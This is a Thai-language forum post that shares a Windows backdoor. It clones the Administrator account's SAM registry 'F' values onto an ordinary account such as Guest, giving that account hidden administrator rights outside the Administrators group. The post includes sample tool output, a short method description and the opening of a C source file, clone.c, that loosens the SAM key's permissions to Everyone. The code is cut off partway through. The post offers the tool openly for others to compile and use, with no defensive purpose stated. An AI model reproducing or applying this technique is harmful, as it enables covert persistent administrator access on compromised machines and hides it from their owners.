เป็นการทำ backdoor บน Windows ให้ user ธรรมดาี่มีสิทธิเทียบเท่า Administrator โดย user นี้จะไม่อยู่ใน member ของ local Administrators group

มี code (C program) มาฝากด้วย compile เองละกัน:

C:\>clone Guest Administrator
SAM\SAM\Domains\Account\Users\000001F5 ==> Guest
SAM\SAM\Domains\Account\Users\000001F4 ==> Administrator
Clone Guest as Administrator success -

[hide=20]

วิธีการ

แก้ไขค่า registry SAM\\SAM\\Domains\\Account\\Users\\00000%X และแก้ไขค่า F values ของ user ธรรมดา ให้เหมือนกับ ของ Administrator แค่นี้เอง (ต้องใช้ SYSTEM account)

clone.c
[code]
#include <windows.h>
#include <stdio.h>
#include <aclapi.h>
#pragma comment(lib, "advapi32.lib")

LPTSTR lpObjectName = "MACHINE\\SAM\\SAM";
SE_OBJECT_TYPE ObjectType = SE_REGISTRY_KEY; //#include <aclapi.h>
PACL OldDACL, NewDACL;
PSECURITY_DESCRIPTOR SD;
EXPLICIT_ACCESS ea;
int KeyN=0;

// 设置注册表的存取权限为everyone
BOOL EnablePrivilege()
{
//下面是设置SAM键的权限为everyone:

//默认返回值为FALSE
BOOL bRet = FALSE;